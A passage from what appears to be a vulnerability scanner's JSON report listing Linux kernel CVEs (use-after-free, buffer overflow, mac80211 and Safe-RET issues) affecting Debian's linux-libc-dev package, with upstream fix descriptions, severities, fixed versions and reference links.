GSO list and some segments are stolen\nby async crypto (-\u003exmit() returns -EINPROGRESS), those segments are\nunlinked from the list but the head -\u003eprev is never updated. If the\nlast segment is the one stolen, the returned head still has -\u003eprev\npointing at it, even though it is now owned by the crypto engine and may\nbe freed. validate_xmit_skb_list() later does tail-\u003enext = skb, writing\nthrough that stale pointer -- a use-after-free.\n\nRepoint skb-\u003eprev at the last retained segment before returning.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-68426", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/stable/c/33e1b0d25ca0d2818c635ff80e6aa0d295e08a98", "https://git.kernel.org/stable/c/3f4c3919baf0944ad96580467c302bc6c7758b00", "https://git.kernel.org/stable/c/4927ab8a8acc8db4fad33e803d1d35e0b16cef83", "https://git.kernel.org/stable/c/4e695742396be18d5291c310a3d7c450959d647a", "https://git.kernel.org/stable/c/b58731e0570bfd3989999fc2baf9ee4fecd5bec6", "https://git.kernel.org/stable/c/bbca7cc3b2b4b10afbfee99b81d9ee78f5423046", "https://linux.oracle.com/cve/CVE-2026-68426.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026081053-CVE-2026-68426-9cce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68426", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68426" ], "PublishedDate": "2026-08-10T13:20:36.54Z", "LastModifiedDate": "2026-10-30T13:19:45.277Z" }, { "VulnerabilityID": "CVE-2026-68470", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68470", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:44dd302d7a92107b6b96389f92668699357f20ead9e887ca83e9b1f4f4abc0c0", "Title": "kernel: wifi: mac80211: validate extension-frame layout before RX", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: validate extension-frame layout before RX\n\nExtension frames only have the extension header at the regular 802.11\nheader offset. The generic RX path can still reach helpers and interface\ndispatch code that read regular header address fields before unsupported\nextension subtypes are dropped.\n\nmac80211 currently only handles S1G beacon extension frames. Drop other\nextension subtypes before they can reach regular-header RX processing.\nFor S1G beacons, linearize the SKB with the management-frame path and\nrequire the fixed S1G beacon header, including optional fixed fields\nindicated by frame control, before generic RX dispatch.\n\nRoute S1G beacons through the station/default-link RX path without\nregular-header station lookup. Avoid regular-header address reads in the\nmac80211 RX paths that process S1G extension beacons, including\naccept-frame, duplicate-detection, address-copy, and MLO\naddress-translation paths.\n\nAlso make ieee80211_get_bssid() length-safe before returning the S1G\nsource-address pointer.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68470", "https://git.kernel.org/linus/57d503ce32eccfa7650065ca4c560f7e29a2e676%20%287.2-rc4%29", "https://git.kernel.org/stable/c/1c3d9c6bd5b795f3b952b40d574c8e424e14a39b", "https://git.kernel.org/stable/c/57d503ce32eccfa7650065ca4c560f7e29a2e676", "https://git.kernel.org/stable/c/625fc704b19cb48d7d269ad54ffffb4d3bf9c7ed", "https://git.kernel.org/stable/c/7aba69b611007e11b9b93118ff8fe88998c3107f", "https://lore.kernel.org/linux-cve-announce/2026081504-CVE-2026-68470-1fbf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68470", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68470" ], "PublishedDate": "2026-08-15T06:19:57.767Z", "LastModifiedDate": "2026-10-21T13:19:31.76Z" }, { "VulnerabilityID": "CVE-2026-68480", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68480", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a5acf5b8518c94fc9a937f43ae44c5ffcdc66eef77ba710dcc96d56a20b84098", "Title": "kernel: AMD-SN-7061: Safe RET Interrupt Vulnerability", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/bugs: Make Safe-RET robust against interrupt injection\n\nAn attacker injecting interrupts while the Safe-RET mitigation executes\non machines affected by SRSO can neutralize the safe return sequence,\npotentially leading to data leakage through speculative execution.\n\nFixup register state as if the Safe-RET sequence executed successfully\nby \"emulating\" it, in a manner of speaking, and avoid executing a RET\ninstruction after returning from the interrupt.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-68480", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/stable/c/52db77a13be224e09eb4ba6b4252ae8ab9085c2c", "https://git.kernel.org/stable/c/61649a2d61cb0dbc673f0f232f0f0c298bf50442", "https://git.kernel.org/stable/c/6703dba1d14cbd6647cd1ccfa3a3fa94b64dd096", "https://git.kernel.org/stable/c/7e7f81cf6f5ca3311e526308f55d7c54d3ba71f9", "https://git.kernel.org/stable/c/bfe7f9993467ba431b2731437949ac1e2634e771", "https://git.kernel.org/stable/c/d0208e08d64d99383e09852a76cc3038c5a4c3ab", "https://git.kernel.org/stable/c/dfefa3c51370f84acb643cddf98bb42c885d0483", "https://git.kernel.org/stable/c/e262f28a69ae9e0791248f93b0173c1d1f3e1d5d", "https://linux.oracle.com/cve/CVE-2026-68480.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026080631-CVE-2026-68480-ad40@gregkh/", "https://nvd.nist.gov/vuln/detail/CVE-2026-68480", "https://people.csail.mit.edu/mengjia/data/2026.USENIX.TONTOU.pdf", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68480" ], "PublishedDate": "2026-08-06T22:18:24.697Z", "LastModifiedDate": "2026-11-06T17:19:34.44Z" }, { "VulnerabilityID": "CVE-2026-72042", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72042", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fc5007e0288d3b1a553cd9f2dc51729b370a8a7d795c9ce3c7829d6d0484a646", "Title": "kernel: ipmi: Fix user refcount underflow in event delivery", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmi: Fix user refcount underflow in event delivery\n\nipmi_alloc_recv_msg(user) takes the temporary user reference owned by the\nreceive message, and ipmi_free_recv_msg() drops it again. If event delivery\nfails after allocating receive messages for earlier users,\nhandle_read_event_rsp() rolls those messages back with\nipmi_free_recv_msg().\n\nThat rollback path still drops user-\u003erefcount explicitly after freeing each\nmessage. The extra put can free a user that remains linked on intf-\u003eusers,\nso later event delivery may dereference a freed user or trip refcount_t's\naddition-on-zero warning when ipmi_alloc_recv_msg() tries to acquire\nanother reference.\n\nRemove the stale explicit put and the now-dead user assignment. Keep the\nlist_del() and ipmi_free_recv_msg() calls; they are the required rollback\noperations.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72042", "https://git.kernel.org/linus/6aa9e61c46465d231e9beddf56af7effd71be682%20%287.2-rc1%29", "https://git.kernel.org/stable/c/6aa9e61c46465d231e9beddf56af7effd71be682", "https://git.kernel.org/stable/c/7be349d4fcc5e065295b83418a22d27a68afbdb6", "https://git.kernel.org/stable/c/ddbb6e3dc9bb4743de686aa1598c31e745cee76b", "https://lore.kernel.org/linux-cve-announce/2026081513-CVE-2026-72042-3b9c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72042", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72042" ], "PublishedDate": "2026-08-15T06:21:13.37Z", "LastModifiedDate": "2026-08-17T06:18:02.133Z" }, { "VulnerabilityID": "CVE-2026-72098", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72098", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:66763f9cf50379d221677a36f674d78ff72fb909f03bf25fbe660df5a4efb812", "Title": "kernel: dm-verity: fix buffer overflow in FEC calculation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-verity: fix buffer overflow in FEC calculation\n\nThere's a buffer overflow in dm-verity-fec:\n\nif (neras \u0026\u0026 *neras \u003c= v-\u003efec-\u003eroots)\n\tfio-\u003eerasures[(*neras)++] = i;\n\nThis allows *neras to reach roots + 1 (the post-increment pushes it past\nroots). This value is then passed as no_eras to decode_rs8(). Inside the\nRS decoder (lib/reed_solomon/decode_rs.c:113-121), the erasure locator\npolynomial loop writes lambda[j] where j can reach nroots + 1 — one\nelement past the end of lambda[] (which is sized nroots + 1, valid\nindices 0..nroots). The out-of-bounds write lands on syn[0], corrupting\nthe syndrome buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-72098", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", 